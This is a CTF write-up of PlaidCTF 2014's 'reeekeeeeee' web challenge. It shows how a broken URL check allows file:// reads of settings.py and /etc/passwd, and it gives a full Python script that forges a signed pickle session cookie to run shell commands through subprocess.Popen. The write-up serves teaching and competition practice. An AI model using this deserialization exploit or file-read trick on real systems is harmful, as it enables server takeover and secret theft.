plaidCTF 2014 - reeekeeeeee (web200)

For PlaidCTF2014, Eindbazen and fail0verflow joined forces as 0xffa, the Final Fail Alliance. Don't miss out on other write-ups at Eindbazen's site!
reeekeeeeee
Web (200 pts)
-------------
The Plague seems obsessed with internet memes, though we don't
yet know why. Perhaps there is a clue to what he's up to on this
server (epilepsy warning). If only you could break in....
Here is some of the source.

Meme Site

To start, we grabbed the source and checked out what the site did. It seemed to be a fairly simple django-based webapp for creating user-based ‘memes’. All of the interesting source for the site is inside mymeme/views.py.

After a quick audit of the source, two areas stood out. The first was the actual “meme” retrieval view viewmeme.

:::py
@login_required(login_url='/login')
def viewmeme(request,meme=None):
  print meme
  username = str(request.user)
  if meme is not None:
    filename = "/tmp/memes/"+username+"/"+str(meme)
    ctype = str(imghdr.what(filename))
    return HttpResponse(open(filename).read(),content_type="image/"+ctype)
  else:
    return render(request,"view.html",{'files':sorted(os.listdir("/tmp/memes/"+username), key=lambda x:os.path.getctime(bp+x) )})
  return HttpResponse("view"+username)

If we can control username either during signup or through manipulation of session variables, we have a trivial local-file-disclosure by path transversal. As it turns out, this code was not vulnerable: meme is captured by a regex \d+ in urls.py, meaning we can only inject digits into meme. username also seems to be properly sanitized. During registration, username is checked for the substrings ‘..’ and ‘/’, which should prevent path transversal.

Arbitrary File Disclosure

The second potential weakness we noted was the makememe view. This view fetches an attacker-controlled image URL url, then attempts to overlay attacker-controlled text onto the image.

:::py
@login_required(login_url='/login')
def makememe(request):
  username = str(request.user)
  if request.method == 'POST':
    url = request.POST['url']
    text = request.POST['text']
    try:
      if "http://" in url:
        image = urllib2.urlopen(url)
      else:
        image = urllib2.urlopen("http://"+url)
    except:
      return HttpResponse("Error: couldn't get to that URL"+BACK)
    if int(image.headers["Content-Length"]) > 1024*1024:
      return HttpResponse("File too large")
    fn = get_next_file(username)
    print fn
    open(fn,"w").write(image.read())
    add_text(fn,imghdr.what(fn),text)
  return render(request,"make.html",{'files':os.listdir("/tmp/memes/"+username)})

The view attempts to sanitize/normalize the URL by checking for the presence of http:// within the url variable. Fortunately for us, this sanitization is broken: if we can include the string http:// somewhere unimportant in the URL, we can use other URI types that urllib2 can handle, such as file://.

After a bit of testing, we found that URLs of the form file://<ABSOLUTE PATH>#http:// passed the sanitization and would successfully copy the target file to the /tmp/memes/<username>/ directory. The subsequent add_text call would throw an exception if the file wasn’t a parseable image, but we already had the file-of-interest in the accessible directory.

This issue gave us a simple arbitrary file disclosure vulnerability: we just create a meme with that URL schema, then fetch it through the viewmeme view. So, what to disclose? We tried guessing a few flag file names, and grabbed the contents of /etc/passwd, /proc/self/cmdline and /home/reekee/.bashrc, but none had any clues as to where we could find the flag. So I guess further exploitation is needed.

Command Execution

At this point we took a look at the django settings.py file. settings.py contains global and site-specific settings about the webapp. Right away, we noticed something very interesting, so interesting that the plaidCTF organizers even marked it with a comment for us!

:::py
#HMMMMM
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'

The SESSION_SERIALIZER line means that the django session is serialized with the python pickle schema. As an attacker, this is great because we can easily turn a pickle-deserialization into system command execution. We can do this by deserializing a subprocess.Popen object with the desired command parameters.

The SESSION_ENGINE line means that the django session cookie is signed with an MAC to prevent forgery. This MAC is keyed by a key derived from SECRET_KEY which is also stored in settings.py. With the arbitary-file-disclosure detailed above, we can fetch settings.py by providing the following URL to the makememe view:

file:///proc/self/cwd/mymeme/settings.py#http://

This gets us the real SECRET_KEY:

:::py
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'

With the SECRET_KEY, all we need to do is create and sign a pickled command, and then pass it as a cookie to the website. The following python does this:

:::py
import urllib2

SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
salt = "django.contrib.sessions.backends.signed_cookies"

import django.core.signing

import pickle

class PickleSerializer(object):
    """
    Simple wrapper around pickle to be used in signing.dumps and
    signing.loads.
    """
    def dumps(self, obj):
        return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)

    def loads(self, data):
        return pickle.loads(data)


import subprocess
import base64

class Command(object):
  def __reduce__(self):
    return (subprocess.Popen, (('SHELL COMMAND GOES HERE',),-1,None,None,None,None,None,False, True))

out_cookie= django.core.signing.dumps(
    Command(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)

opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'sessionid=%s'%out_cookie))
f = opener.open("http://54.82.251.203:8000/make")
print f.read()

Victory

With the above script, we used ls -alR /home/reekee to find the flag. There was an executable give_me_the_flag.exe in the reekee homedir, and we ran it using the command:

:::sh
cd /home/reekee; /home/reekee/give_me_the_flag.exe > /tmp/xqcafz3

Using the arbitrary file disclosure detailed above to read the resulting tmpfile, we got the flag, which we promptly forgot to write down.

comments powered by Disqus